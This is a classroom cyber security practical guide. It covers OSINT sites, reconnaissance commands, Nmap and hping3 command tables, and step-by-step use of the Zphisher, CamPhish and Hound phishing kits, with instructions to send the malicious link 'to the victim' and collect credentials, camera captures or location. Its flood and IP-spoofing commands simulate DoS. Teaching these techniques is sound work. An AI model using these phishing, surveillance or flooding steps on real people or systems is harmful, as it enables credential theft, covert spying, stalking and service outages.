

# CYBER SECURITY PRACTICAL GUIDE

Sr.No.	Aims
1	<p>Collect publicly available information about the target using OSINT tools (OSINTframework, IDCrawl, Spokeo, OpenCorporates, VirusTotal, Ahmia, DNSDumpster, Whois) to understand the target's digital footprint and potential exposure.</p> <ol style="list-style-type: none"><li>1. wappalyzer extension</li><li>2. OSINTframework.com</li><li>3. idcrawl.com</li><li>4. spokeo.com</li><li>5. opencorporates.com</li><li>6. virustotal.com</li><li>7. ahmia.fi</li><li>8. dnsdumpster.com</li><li>9. who.is</li></ol>
2	<p>Perform passive reconnaissance on the target web application/server using tools like Whois, nslookup, dig, host, dnsrecon, dnsenum, theHarvester, and DNSDumpster to collect domain and infrastructure details without active interaction.</p> <ol style="list-style-type: none"><li>1. whois target_website.com</li><li>2. nslookup target_website.com</li><li>3. dig target_website.com</li><li>4. host target_website.com</li><li>5. dnsrecon -d target_website.com</li><li>6. dnsenum target_website.com</li><li>7. theHarvester -d target_website.com -b all</li></ol>
3	<p>Conduct active reconnaissance on the target web application/server using tools such as dirb, ping, traceroute, netdiscover, sublist3r, amass, wget, and curl to identify directories, subdomains, network structure, and live hosts.</p> <ol style="list-style-type: none"><li>1. dirb target_website.com</li><li>2. ping target_website.com</li><li>3. traceroute target_website.com</li><li>4. sublist3r -d target_website.com</li><li>5. amass -d target_website.com</li><li>6. wget link_of_file_to_download.pdf</li></ol>

4	<p>Use advanced Google dorking search operators to identify publicly exposed webcams, passwords, sensitive files, internal documents, camera images, and mail logs related to the target's domain or infrastructure.</p> <ol style="list-style-type: none"> <li>1. Refer to google dorking txt file in classroom</li> </ol>
5	<p>Execute a detailed Nmap scan to perform host discovery, detect open ports, determine operating systems, identify running services, and assess potential vulnerabilities on the target IP.</p> <ol style="list-style-type: none"> <li>1. refer NMAP commands table-1 below</li> </ol>
6	<p>Demonstrate credential harvesting through social engineering by creating phishing pages using Zphisher, showing how attackers can exploit user trust on social media platforms.</p> <ol style="list-style-type: none"> <li>1. git clone https://github.com/htr-tech/zphisher.git</li> <li>2. cd Zphisher</li> <li>3. chmod 777 zphisher.sh</li> <li>4. ./zphisher.sh</li> <li>5. Select social media for fake login page</li> <li>6. (select option for localhost or CloudFlare)</li> <li>7. Copy the malicious link. Send to the victim and wait for the credentials files.</li> </ol>
7	<p>Simulate unauthorized access to a target device's camera using CamPhish through social engineering techniques to understand risks associated with malicious camera exploitation.</p> <ol style="list-style-type: none"> <li>1. git clone https://github.com/techchipnet/CamPhish.git</li> <li>2. cd Camphish</li> <li>3. chmod 777 camphish.sh</li> <li>4. ./camphish.sh</li> <li>5. (select option 2 cloudflared)</li> <li>6. (select phishing type) online meeting</li> <li>7. copy the malicious link, send to the victim, and wait for cam files.</li> </ol>
8	<p>Identify and track the precise geographical location of a target device or individual using the Hound tool to demonstrate location-based information gathering.</p> <ol style="list-style-type: none"> <li>1. git clone https://github.com/techchipnet/hound.git</li> <li>2. cd hound</li> <li>3. chmod 777 hound.sh</li> <li>4. ./hound.sh</li> <li>5. cloudflared tunnel → Y</li> <li>6. copy the link and send to victim</li> <li>7. wait for response</li> </ol>

<b>9</b>	<p>Simulate Denial of Service (DoS) and Distributed Denial of Service (DDoS) attacks against a controlled target using hping3 to analyze the impact of traffic-based disruption attacks.</p> <ol style="list-style-type: none"><li>1. refer hping3 commands table-2 below</li></ol>
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Sr. No.	Command and options	Description
1	nmap <target-ip> Eg. nmap 192.168.1.1	Check if host is active and scan 1000 ports
2	nmap x.x.x.* Eg. nmap 192.168.1.*	Search for number of hosts in network.
2	nmap -v <target> Eg. nmap -v 192.168.1.1	Verbose scan, provides more details.
3	nmap -vv <target> Eg. nmap -vv 192.168.1.1	Very verbose scan, even more details.
4	nmap -Pn <target> Eg. nmap -Pn 192.168.1.1	Treat host as online, skip host discovery.
5	nmap --traceroute <target> Eg. nmap --traceroute 192.168.1.1	Perform traceroute after the scan.
6	nmap -O <target> Eg. nmap -O 192.168.1.1	OS detection scan.
7	nmap -p <port> <target> Eg. nmap -p 80 192.168.1.1	Scan specific port(s).
8	nmap -p- <target> Eg. nmap -p- 192.168.1.1	Scan all ports (0-65535).
9	nmap -p 80,443 <target> Eg. nmap -p 80,443	Scan specific ports (e.g., 80, 443).
10	nmap -A <target> Eg. nmap -A 192.168.1.1	Comprehensive scan (OS detection, version detection, script scanning, and traceroute).
11	nmap -sV <target> Eg. nmap -sV 192.168.1.1	Version detection scan.

**Table-1: Nmap basic commands guide**

Command / Option	Purpose	Example
-1	ICMP mode (like ping)	hping3 -1 192.168.1.1
-2	+UDP mode	hping3 -2 -p 53 192.168.1.1
-S	TCP SYN flag (scan)	hping3 -S -p 80 192.168.1.1
-A	TCP ACK flag (firewall testing)	hping3 -A -p 80 192.168.1.1
-F	TCP FIN flag	hping3 -F -p 80 192.168.1.1
-p <port>	Destination port	hping3 -S -p 443 192.168.1.1
-s <port>	Source port	hping3 -S -s 12345 -p 80 192.168.1.1
-a <IP>	Spoof source IP	hping3 -S -a 10.10.10.10 -p 80 192.168.1.1
-i u1000	Send packet every 1000µs (1ms)	hping3 -S -p 80 -i u1000 192.168.1.1
--flood	Flood mode (DoS simulation)	hping3 -S --flood -p 80 192.168.1.100
-V	Verbose output	hping3 -S -V -p 80 192.168.1.1

**Table-2: hping3 commands guide**